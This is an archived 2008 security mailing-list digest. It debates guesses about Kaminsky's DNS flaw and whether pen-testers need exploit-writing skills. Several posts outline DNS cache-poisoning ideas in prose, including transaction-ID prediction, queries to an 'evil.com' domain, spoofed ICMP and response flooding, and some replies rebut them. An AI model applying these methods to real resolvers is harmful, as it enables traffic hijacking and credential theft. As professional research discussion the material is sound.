[Dailydave] The audacity of thinking you're not owned | > | > I have to wonder about a strategy that implies that Paul Vixie is not | > owned by lots of different people. me too but it's all i've got on hand and these are difficult times. actually i've got others (dan kaminsky, david dagon, florian weimer, CMU CERT, jinmei tatuya, john kristoff, ben laurie, bert hubert, sean leach) to vouch for me not being owned, at least regarding CERT VU# 800113. i guess there's a way of wondering whether we're all owned, but sooner or later you've got to pick somebody to trust, these are the folks i picked, your mileage may vary. | > Anyways here is my guess of the day. | > | > There's 4 things that DNS checks, two of which are random in the "immune" | > djbdns code. One is the TXID (16 bits) and one is the source port. | > Assuming the "fix" for broken implementations is to randomize the source | > port, this means the TXID must be easily guessed. Amit's paper talks a | > bit about doing this sort of thing, but doesn't come into "easy" range. interesting guess. since i'm not the discoverer (it was dan kaminsky), i'm not in a position to confirm or deny. i do wonder what good you think can be accomplished by guessing. do you think dan was wrong to get the notice and the patches out in advance of the full disclosure he plans for black hat? if you happen to guess it, will you publish early, based on some kind of "the people have a right to know" philosophy? | > So here's what I think the exploit is, which is a slightly advanced | > method of some of Amit's stuff. I'm not a DNS (or crypto, for that | > matter) expert, so feel free to fill me in on where I'm missing stuff. | > | > 1. You can use the TTL to find out when to do your spoofing. | > 2. Use your own DNS to respond to some requests setting TTL=0 to get a | > long list of TXIDs from the resolver. | > 3. Map this list of TXIDs into an internal RNG state using a rainbow | > table. This lets you predict the next set of TXID's with just a hash | > lookup. | > 4. Make a request for mail.google.com and send your spoofed packets to | > infect the cache. that is so cool! thanks for all your great work. paul - -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIelmKtehAhL0gheoRAs4CAJ4kQIRPT5FrQk/w8F3CbKYB1wJYYwCeOPel 6nPojMjgD2Hb55MdjXfT9xE= =gIlO -----END PGP SIGNATURE----- From tqbf at matasano.com Sun Jul 13 15:03:00 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sun, 13 Jul 2008 14:03:00 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> Message-ID: <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> > The problem I see with this is that people that can't write a simple > exploit also cannot to other very important tasks such as: > - Decide if a crash is exploitable at all Plenty of people who can't write X86 assembly can discern whether a flaw allowed them to corrupt memory. Plenty of people who can write X86 assembly, like myself, are content to leave it at that: memory corruption bad. MUSTFIX. > - Make a judgement about the reliability of any exploits written This is circular. Sure, if you write exploits, knowing how to do so reliably will in fact improve the quality of the checks you write for your company's scanner. > - Debug the crash to see what input caused the crash in a reasonable time limit This isn't true. Basic investigative skills, of the sort possessed by many 2nd tier call center operators, coupled with the ability to generate malicious outputs, and you've got this one nailed. I agree it's important, so test for it. > - Discuss possible fixes intellegently What does ret-to-libc have to do with knowing how to manage sign bits, check multiplications, or bound copies? > - Apply knowledge of the crash to other areas of the program to ensure > that the bug isn't repeated and that the fix is in fact complete It really sounds like you want to test people's ability to write fuzzers. Amen to that. I'm not sure where the shellcode comes in to it, though. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From drraid at gmail.com Sun Jul 13 16:43:34 2008 From: drraid at gmail.com (drraid) Date: Sun, 13 Jul 2008 13:43:34 -0700 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> Message-ID: <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> On Sat, Jul 12, 2008 at 6:47 PM, Thomas Ptacek wrote: >> Then they'd fail. There's no excuse for not being able to write a simple >> Windows stack overflow in this day and age. I don't see this part as a >> problem. Even web attackers need to know how to do that. > > Web attackers do not need to know how to write stack overflows, Dave. > If you can code, you don't even need to know how to write stack > overflows to pen-test shrink wrap software. > > Two observations, which I can make because our team can obviously > throw down the archaic exploit writing skills: > > - In the commercial market, the ability to find vulnerabilities > commands a far higher price than the ability to write exploits. This > isn't opinion; it's simply empirical. People who actually write > exploits all day tend to work for vendors. A majority of consultants > can't. > > - Most of the game-over vulnerabilities we find aren't code injection > anymore. You're proposing a metric that could fail someone who can do > DH parameter tampering, because they don't know the X86 Windows system > call gate. > Many consultants can't actually exploit buffer overflows, but almost all of them can describe the process to do it. It seems that these people are more fit to consult on how these vulnerabilities work instead of if something is actually vulnerable. This could be one of the big problems with the industry. "Web attackers" is too vague here -- if you're talking about owning something named /cgi-bin/custom_request.exe, then yes, being that this is an archaic web application, you probably do need archaic memory corruption exploitation skills. Obviously the SQL injection, RFI/LFI, XSS/CSRF doesn't require this. I would generally agree that anyone selling themselves as a pen-tester should be able to pass this -- but not at the exclusion of also being able to identify poor use of crypto, architectural failures or web application vulnerabilities. Maybe the dispute here is in understanding what the purpose of this certification is. From pty.err at gmail.com Sun Jul 13 17:02:41 2008 From: pty.err at gmail.com (Parity) Date: Sun, 13 Jul 2008 23:02:41 +0200 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: <487A00B6.6020403@xs4all.nl> References: <4879F2BC.6020205@xs4all.nl> <487A00B6.6020403@xs4all.nl> Message-ID: <1cd499dd0807131402u75e0ac7er6ea0bc317e7b2f90@mail.gmail.com> On Sun, Jul 13, 2008 at 3:18 PM, Petja van der Lek wrote: > Now, were a name server to retain and reuse the TID received from a > client in its corresponding outgoing queries, the possibility of a > collision of TIDs from queries received from separate clients would be > small but non-negligible on a busy name server. Such a collision could > ruin the server's whole day, I presume, and make for a pretty broken > design. I know it's BIND we're talking about, but still... TXID collissions are easy to induce. Remember the old joke that starts, "How do you keep a moron in suspense?" If you're evil.com, just ask a vulnerable name server to resolve 0x0000.evil.com. And 0x0001.evil.com. And 0x0002.evil.com. And so on. And when the resolver comes 'round asking ns1.evil.com for the records it's after, just pretend the question was, "How do you keep a DNS resolver in suspense?" pty -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080713/c7eba108/attachment.htm From kf_lists at digitalmunition.com Sun Jul 13 17:43:56 2008 From: kf_lists at digitalmunition.com (Kevin Finisterre (lists)) Date: Sun, 13 Jul 2008 17:43:56 -0400 Subject: [Dailydave] Marketing over Security? In-Reply-To: References: Message-ID: <93C7CB22-536B-496C-92E0-D332F3F1E2FD@digitalmunition.com> Some info about their tech... http://www.secure64.com/technology.shtml -KF On Jul 13, 2008, at 11:35 AM, Paul Wouters wrote: > > http://www.gcn.com/online/vol1_no1/46337-1.html# > > Hmm, immune to Denial of Service? Genuinely Secure SourceT micro > Operating System? Which is not Linux so DHS ignores NSA's SElinux > (and opensource security strategy). And is missing IPv6 which is > mandatory which they will write from scratch or port from an > open source OS in the next 6 months..... > > Interesting times..... > > Paul > >> DHS moves to strengthen domain name servers >> >> The Homeland Security Department?s Science and Technology Directorate >> has awarded a contract to Secure64 Software to increase the >> security of >> the Internet?s Domain Name Servers (DNS). >> >> [...] >> >> Part of the attraction of Secure64 is its Genuinely Secure SourceT >> micro >> Operating System that Secure64 said is ?immune to compromise from >> rootkits and malware and is resistant to denial-of-service attacks.? >> Secure64?s product, which includes a secure DNS solution based on >> DNSSEC, will be supplemented with an incremental signing feature that >> will increase the security of DNS transactions. >> >> The $1.2 million contract with Secure64, of Greenwood Village, Colo., >> will simplify and automate DNSSEC deployment. The goal is to >> provide a >> solution that serves not only the U.S. government but other >> organizations, >> businesses and service providers worldwide. >> >> The Secure64 product is deployed as a network appliance and >> can fit seamlessly into an organization?s existing DNS >> architecture. Alternatively, the product can replace an existing DNS. >> >> The Secure64 product must also support IPv6 to comply with the Office >> of Management and Budget?s IPv6 mandate. Secure64 supports the >> resolution of IPv6 DNS transactions and AAAA DNS records >> transported over >> IPv4. Support for transactions over a dual-stack IPv4 / IPv6 >> environment >> is planned for later this year, with the development to occur outside >> this project contract. >> > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave From mwollenweber at gmail.com Sun Jul 13 20:06:22 2008 From: mwollenweber at gmail.com (matthew wollenweber) Date: Sun, 13 Jul 2008 20:06:22 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> Message-ID: <42210a440807131706r6bd80362je933a8e0e51899e3@mail.gmail.com> I'd like to add two points to this discussion. First is that a key value I try to present to clients is that pen testing shows business impact. It lets a manager understand why security is important to the business. A list of vulnerabilities for IPs doesn't demonstrate quite the same impact as controlling some core business system. So successfully exploiting vulns is important to me. Second, I see terribly insecure apps across enterprises all the time. They're niche products or internally developed that often sit on key systems. They usually don't have public vulns because they're internal or niche but if you sit down with them they're generally easy enough to break. So doing so is reasonable way to get into a fully patched system. It also makes you look good and reinforces security best practices like compartmentalization, defense in depth, etc. So while I agree pen testers don't need to be exploit developers and it isn't a skill that's always needed, I'd add that it is one that can really turn a vanilla assessment into cool work. On Sun, Jul 13, 2008 at 3:03 PM, Thomas Ptacek wrote: > > The problem I see with this is that people that can't write a simple > > exploit also cannot to other very important tasks such as: > > - Decide if a crash is exploitable at all > > Plenty of people who can't write X86 assembly can discern whether a > flaw allowed them to corrupt memory. Plenty of people who can write > X86 assembly, like myself, are content to leave it at that: memory > corruption bad. MUSTFIX. > > > - Make a judgement about the reliability of any exploits written > > This is circular. Sure, if you write exploits, knowing how to do so > reliably will in fact improve the quality of the checks you write for > your company's scanner. > > > - Debug the crash to see what input caused the crash in a reasonable > time limit > > This isn't true. Basic investigative skills, of the sort possessed by > many 2nd tier call center operators, coupled with the ability to > generate malicious outputs, and you've got this one nailed. I agree > it's important, so test for it. > > > - Discuss possible fixes intellegently > > What does ret-to-libc have to do with knowing how to manage sign bits, > check multiplications, or bound copies? > > > - Apply knowledge of the crash to other areas of the program to ensure > > that the bug isn't repeated and that the fix is in fact complete > > It really sounds like you want to test people's ability to write > fuzzers. Amen to that. I'm not sure where the shellcode comes in to > it, though. > > -- > --- > Thomas H. Ptacek // matasano security > read us on the web: http://www.matasano.com/log > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- Matthew Wollenweber mwollenweber at gmail.com | mjw at cyberwart.com www.cyberwart.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080713/ac2cb1a2/attachment.htm From vixie at isc.org Sun Jul 13 17:30:19 2008 From: vixie at isc.org (Paul Vixie) Date: Sun, 13 Jul 2008 21:30:19 +0000 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: Your message of "Sun, 13 Jul 2008 15:18:46 +0200." <487A00B6.6020403@xs4all.nl> References: <4879F2BC.6020205@xs4all.nl> <487A00B6.6020403@xs4all.nl> Message-ID: <36247.1215984619@nsa.vix.com> > So, do we still need to buy tickets to Black Hat, or am I about to be > ridiculed by world+dog? Fire away. > > Cheers, > Lek. "dig porttest.dns-oarc.net in txt" and buy the ticket -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From tqbf at matasano.com Sun Jul 13 20:11:53 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sun, 13 Jul 2008 19:11:53 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <42210a440807131706r6bd80362je933a8e0e51899e3@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> <42210a440807131706r6bd80362je933a8e0e51899e3@mail.gmail.com> Message-ID: <1df0a410807131711r6b22e792wd111f325e298df03@mail.gmail.com> NB: I'm not talking because I think Dave is evil. I already knew Dave was evil. I'm talking because this is an interesting topic. I agree: being able to bust into enterprise applications is a great way to ace an internal pentest. But even then, the best findings are often not memory corruption vulnerabilities. When we talk about the terribly insecure apps across enterprises, we should be thinking about shell metacharacters. > Second, I see terribly insecure apps across enterprises all the time. > They're niche products or internally developed that often sit on key > systems. They usually don't have public vulns because they're internal or > niche but if you sit down with them they're generally easy enough to break. > So doing so is reasonable way to get into a fully patched system. It also > makes you look good and reinforces security best practices like > compartmentalization, defense in depth, etc. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From tqbf at matasano.com Sun Jul 13 20:13:28 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sun, 13 Jul 2008 19:13:28 -0500 Subject: [Dailydave] Paul Vixie's response... In-Reply-To: <487A598B.8080309@immunityinc.com> References: <487A598B.8080309@immunityinc.com> Message-ID: <1df0a410807131713k3d32a176p8c0fde815d6122c5@mail.gmail.com> > i've got others (dan kaminsky, david dagon, florian weimer, CMU CERT, jinmei > tatuya, john kristoff, ben laurie, bert hubert, sean leach) to vouch for me > not being owned, at least regarding CERT VU# 800113. i guess there's a way What's awesome about this is that Vixie thinks that not being vulnerable to cache poisoning means he's not owned. > | > 3. Map this list of TXIDs into an internal RNG state using a rainbow > | > table. This lets you predict the next set of TXID's with just a hash > | > lookup. > | > 4. Make a request for mail.google.com and send your spoofed packets to > | > infect the cache. > that is so cool! thanks for all your great work. What's awesome about this is that Vixie is making fun of you. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From algorythm at gmail.com Sun Jul 13 15:47:50 2008 From: algorythm at gmail.com (Jason Ross) Date: Sun, 13 Jul 2008 15:47:50 -0400 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <4879EA75.6080403@gmx.de> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> <4879EA75.6080403@gmx.de> Message-ID: <355c7d900807131247k2d92b9b1wac8fbfe9b6a547ff@mail.gmail.com> On Sun, Jul 13, 2008 at 7:43 AM, Halvar Flake wrote: > So I guess summary is: Good find, definitely useful for an attacker, but > we have survived much worse without a need for the > great-vendor-coordination jazz. I dunno. I think I can definitely agree with that phrase if you : s/a need// The net certainly has survived worse. However, I do think there's some merit to "the great-vendor-coordination jazz" and getting as many of the major affected products all releasing patches at the same time. -- jason From pmelson at gmail.com Sun Jul 13 18:57:22 2008 From: pmelson at gmail.com (Paul Melson) Date: Sun, 13 Jul 2008 18:57:22 -0400 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> Message-ID: <40ecb01f0807131557u4f471265vc11e217f6b4bd8e5@mail.gmail.com> On Sun, Jul 13, 2008 at 2:07 PM, Pusscat wrote: > - Decide if a crash is exploitable at all > - Make a judgement about the reliability of any exploits written > - Debug the crash to see what input caused the crash in a reasonable time limit > - Discuss possible fixes intellegently > - Apply knowledge of the crash to other areas of the program to ensure > that the bug isn't repeated and that the fix is in fact complete All of the above can be done without any shellcode, just your favorite compiler/interpreter and a debugger. And with commonly available tools like Metasploit's shellcode generator, it's trivial to weaponize your overflow, especially on Win2K. All of this adds up to a successful penetration test, providing value to the client. But it wouldn't get you a NOP cert. Who cares? If you're doing this in the field already, who's asking you for a cert? Are there pen-testing firms that are A) any good at it and B) clamoring for their staff to have certifications? Just folks dealing with the 8570.1M mandate, right? > Exploitation of a simple vuln requires only simple knowledge of how > x86 systems and the windows OS works, and some experience makimaking > effective use of your tools work in a timely fashion. In my oppinion > Dave's cert is just an effective test of basic knowledge and skills in > one tiny package. No, Immunity's cert is a test of how good you are at it using Immunity's products. Which is fine, every vendor with a cert does exactly this. Let's not make it something it's not. PaulM From tqbf at matasano.com Sun Jul 13 22:14:58 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sun, 13 Jul 2008 21:14:58 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> Message-ID: <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> > I would generally agree that anyone selling themselves as a pen-tester should > be able to pass this -- but not at the exclusion of also being able to identify > poor use of crypto, architectural failures or web application > vulnerabilities. Maybe > the dispute here is in understanding what the purpose of this certification is. No, see, I'm saying something different --- I'm saying that people who sell themselves as pen-testers DO NOT need the skills this test looks for. Ability to FIND overflows is more valuable than the ability to EXPLOIT them. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From pigglydwiggly at gmail.com Sun Jul 13 23:09:57 2008 From: pigglydwiggly at gmail.com (piggly wiggly) Date: Sun, 13 Jul 2008 20:09:57 -0700 Subject: [Dailydave] DNS Guess 2 for the day Message-ID: >From http://wari.mckay.com/~rm/dns_theroy.txt : So I have a theory on what it is that Dan Kaminsky may have discovered that is broken with DNS (it was already _so_ broken, what else could be wrong?!) Basically it has to do with ICMP packets (spoofed ICMP unreachables sent in response to DNS packets the attacker can't see, but can guess - thanks to non-random port selection). The biggest problem with spoofing DNS at the moment is that you need to silence the real nameservers in order to get your fake replies in. For an ICMP response to be valid, it must contain the IP header of the packet it is a reponse too, but it also must contain 64bits of the data payload. The reason for requiring 64bits of the payload is to prevent people from spoofing ICMP replies to packets they have not received. In the case of a DNS packet, that payload is the first 64 bits of the UDP header. What is in the first 64bits of the UDP header? The source and destination ports of the DNS servers. If these are easily predictable then you can spoof an ICMP unreachable response to a dns query or reply without actually receiving it. If you can spoof ICMP; You can prevent the recursor from communicating with the real nameserver. This will make it very very easy to spoof DNS as it removes the biggest hurdle; that of silencing the real nameservers. It only takes about 2min on a 10mbit/s connection to run through all 65536 possible sequence numbers so if you can prevent the recursor from talking to the real nameservers it really is easy as pie. From valsmith at offensivecomputing.net Mon Jul 14 02:08:18 2008 From: valsmith at offensivecomputing.net (val smith) Date: Mon, 14 Jul 2008 00:08:18 -0600 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <8e00af420807131107x21f87041lf7f8715234cf2066@mail.gmail.com> <1df0a410807131203h291d82c7o5481e3f00f9dcc04@mail.gmail.com> Message-ID: So I spend a chunk of of my time breaking into computers using old fashioned techniques (see Tactical Exploitation last years BH shameless plug) or via web apps. Another chunk of my time reversing malware in Olly, IDA (starting to look at Immunity Debugger). I wouldn't call myself an expert exploit developer at the level of some of the people on this list but I realized a few years ago that being able to write simple buffer overflows would greatly help me to understand what all was going on when I broke into a computer. The skills I gained writing some overflows; like how to use gdb, windbg, watch network traffic to see what was getting sent, looking at memory to find my AAAAA's or shellcode, were invaluable in just getting a feel for how computers and bugs work in general. Many times I'll download an exploit and find out that it doesn't work, or isn't reliable and have to port it to metasploit for use on a pen test. If I didn't have some skills to do this my pen test would be less successful. I guess the point of all this rambling is that while not being an expert in exploit dev, the more you know in general about diverse subjects in security, the more effective you'll be at your infosec job, whatever it may be. Like I suspect a lot of people on here, I don't really have much respect for certifications, but Dave's new thing might at least spice things up a bit and provide some fun. I might need a blond, some tequila and a gun to my head to succeed, then maybe I'll play too :) V. On Sun, Jul 13, 2008 at 1:03 PM, Thomas Ptacek wrote: >> The problem I see with this is that people that can't write a simple >> exploit also cannot to other very important tasks such as: >> - Decide if a crash is exploitable at all > > Plenty of people who can't write X86 assembly can discern whether a > flaw allowed them to corrupt memory. Plenty of people who can write > X86 assembly, like myself, are content to leave it at that: memory > corruption bad. MUSTFIX. > >> - Make a judgement about the reliability of any exploits written > > This is circular. Sure, if you write exploits, knowing how to do so > reliably will in fact improve the quality of the checks you write for > your company's scanner. > >> - Debug the crash to see what input caused the crash in a reasonable time limit > > This isn't true. Basic investigative skills, of the sort possessed by > many 2nd tier call center operators, coupled with the ability to > generate malicious outputs, and you've got this one nailed. I agree > it's important, so test for it. > >> - Discuss possible fixes intellegently > > What does ret-to-libc have to do with knowing how to manage sign bits, > check multiplications, or bound copies? > >> - Apply knowledge of the crash to other areas of the program to ensure >> that the bug isn't repeated and that the fix is in fact complete > > It really sounds like you want to test people's ability to write > fuzzers. Amen to that. I'm not sure where the shellcode comes in to > it, though. > > -- > --- > Thomas H. Ptacek // matasano security > read us on the web: http://www.matasano.com/log > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- ****************************************** * Val Smith * CTO Offensive Computing, LLC * http://www.offensivecomputing.net ******************************************* From thomas.pollet at gmail.com Mon Jul 14 02:21:05 2008 From: thomas.pollet at gmail.com (Thomas Pollet) Date: Mon, 14 Jul 2008 08:21:05 +0200 Subject: [Dailydave] The audacity of thinking you're not owned In-Reply-To: <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> References: <4878EC1B.2010501@immunityinc.com> <1cd499dd0807121203w31e3fd52i1bed4a6fe3613966@mail.gmail.com> <20080712202412.1f0ee2e0@moray> <1cd499dd0807121442h1d2e8690y2b988f87387fc97d@mail.gmail.com> Message-ID: Hi, I have this theory - suppose you want to spoof a nonexistant subdomain of a site, e.g. pwned.paypal.com - you get a user on a website to repeatedly request something on that domain from within a web page - as the domain does not exist, every request will result in a dns lookup - while the dns request is ongoing, flood the client (and intermediate dns in a recursive scheme) with fake responses. on average this would "cost" about 200GB (for a 100 byte fake dns response). Regards, From root_ at fibertel.com.ar Mon Jul 14 03:23:31 2008 From: root_ at fibertel.com.ar (root) Date: Mon, 14 Jul 2008 04:23:31 -0300 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> Message-ID: <487AFEF3.7030209@fibertel.com.ar> In my short experience finding bugs and exploiting them, i have found that the task of writing a reliable exploit is *orders of magnitude* more complex and require much more experience than the required to only find a bug. Anyone can fire a fuzer, find a bug and tell their client about how exploitable it is. People then will talk about ret-to-libc and malloc tricks that really don't work anymore in modern systems. IMHO, only somebody with the technical expertise to write the actual exploit can know the real extent of the vulnerability. Sorry the rant, is late here :) Thomas Ptacek wrote: >> I would generally agree that anyone selling themselves as a pen-tester should >> be able to pass this -- but not at the exclusion of also being able to identify >> poor use of crypto, architectural failures or web application >> vulnerabilities. Maybe >> the dispute here is in understanding what the purpose of this certification is. > > No, see, I'm saying something different --- I'm saying that people who > sell themselves as pen-testers DO NOT need the skills this test looks > for. Ability to FIND overflows is more valuable than the ability to > EXPLOIT them. > From jon at oberheide.org Mon Jul 14 05:06:40 2008 From: jon at oberheide.org (Jon Oberheide) Date: Mon, 14 Jul 2008 05:06:40 -0400 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: References: Message-ID: <1216026400.5394.11.camel@apollo> On Sun, 2008-07-13 at 20:09 -0700, piggly wiggly wrote: > Basically it has to do with ICMP packets (spoofed ICMP unreachables sent > in response to DNS packets the attacker can't see, but can guess - thanks > to non-random port selection). Or ICMP redirect messages for that matter (although I'd hope most sane distributions are shipping with accept_redirects off by default nowadays). > The biggest problem with spoofing DNS at the moment is that you need > to silence the real nameservers in order to get your fake replies in. > > For an ICMP response to be valid, it must contain the IP header of the > packet it is a reponse too, but it also must contain 64bits of the data > payload. The reason for requiring 64bits of the payload is to prevent > people from spoofing ICMP replies to packets they have not received. In > the case of a DNS packet, that payload is the first 64 bits of the UDP > header. > > What is in the first 64bits of the UDP header? The source and destination > ports of the DNS servers. If these are easily predictable then you can > spoof an ICMP unreachable response to a dns query or reply without > actually receiving it. The first 8 bytes of the UDP header may be predictable but you're forgetting the IP header that must be included in the ICMP response message as well. The IP header of course contains the 16-bit IP ID field which is randomly generated on many platforms. So the attacker would have to guess the 16-bit IP ID correctly to have his ICMP unreachable accepted which would be just as difficult as guessing the DNS TXID. Stacks that still use incremental IP ID generation could be affected, however. Regards, Jon Oberheide -- Jon Oberheide GnuPG Key: 1024D/F47C17FE Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080714/01f5dcec/attachment.pgp From lee at nerds.org.uk Mon Jul 14 08:13:54 2008 From: lee at nerds.org.uk (Lee Brotherston) Date: Mon, 14 Jul 2008 13:13:54 +0100 Subject: [Dailydave] DNS Guess 2 for the day In-Reply-To: References: Message-ID: <20080714121354.GC9988@nerds.org.uk> On Sun, Jul 13, 2008 at 08:09:57PM -0700, piggly wiggly wrote: > If you can spoof ICMP; You can prevent the recursor from communicating > with the real nameserver. This will make it very very easy to spoof DNS as > it removes the biggest hurdle; that of silencing the real nameservers. It > only takes about 2min on a 10mbit/s connection to run through all 65536 > possible sequence numbers so if you can prevent the recursor from talking > to the real nameservers it really is easy as pie. I'm afraid I disagree with you there Piggly Wiggly. If we break the possible times you can transmit this spoofed ICMP packet into two categories: - Transmitted before the "real" response. If an ICMP host unreachable (or some other error) is transmitted before the real DNS response is sent it will probably be ignored as the error will refer to a packet which has never been sent. - Transmitted after the "real" response. If the ICMP packet is transmitted after the response it is too late. Whilst it's true that a TCP connection can be disrupted in this way, in the case of UDP the packet has been sent and there is no additional handshaking, etc. An error cannot cause the original sender to retract the packet in some way, and so the response will make it back to the original requester. Unless of course, I have misunderstood something, in which case, flame away :) Thanks Lee -- Lee Brotherston - From tqbf at matasano.com Mon Jul 14 08:18:44 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Mon, 14 Jul 2008 07:18:44 -0500 Subject: [Dailydave] Immunity Certified Network Offense Professional In-Reply-To: <487AFEF3.7030209@fibertel.com.ar> References: <487773D2.7010803@immunityinc.com> <4877A68E.20007@thievco.com> <1df0a410807111349g22138dcbl584c00e237f82c6c@mail.gmail.com> <48790664.8010108@immunityinc.com> <1df0a410807121847l75106312q4ff8491abd8ec23e@mail.gmail.com> <1f8291090807131343i215591dfnb73409f2f59fe388@mail.gmail.com> <1df0a410807131914m3737fa8blfb96b57d9a5106c7@mail.gmail.com> <487AFEF3.7030209@fibertel.com.ar> Message-ID: <1df0a410807140518g5918d551r3ca67d233aba96db@mail.gmail.com> > Anyone can fire a fuzer, find a bug and tell their client about how > exploitable it is. > People then will talk about ret-to-libc and malloc tricks that really > don't work anymore in modern systems. This is NO DOUBT true. It is obviously much HARDER to exploit modern memory corruption flaws than it is to find them. Respect, yo. S'all love in here. The problem is, it is not MORE VALUABLE to exploit memory corruption flaws than it is to find them. Consider two scenarios: (1) A shrink-wrap software pen test, for a vendor or a customer --- the target is one application. You have 5 days. Unless you think you can sweep 500,000 lines of C code clean of vulnerabilities in 40 hours, an hour spent on exploit dev is an hour not spent finding vulnerabilities. (2) A network penetration test. You have 5 days. Unless you have found the zero enterprises in the world where access to their network doesn't immediately offer up 30 different mass casualty scenarios, an hour spent on exploit dev is an hour not spent breaking into systems. We could go back and forth on (2) --- no doubt there are NPT's where being able to bust CreateProcess in some sleazy Windows backup software is going to win the game for you (there are also NPTs where the client says, "tell me about the zero-day mass casualty exploits you could have run, but don't stop testing until you get in without cheating"). And another thing: we all know about the "fuzz kiddies", but that doesn't make all vulnerability research a matter of aiming /dev/random at a 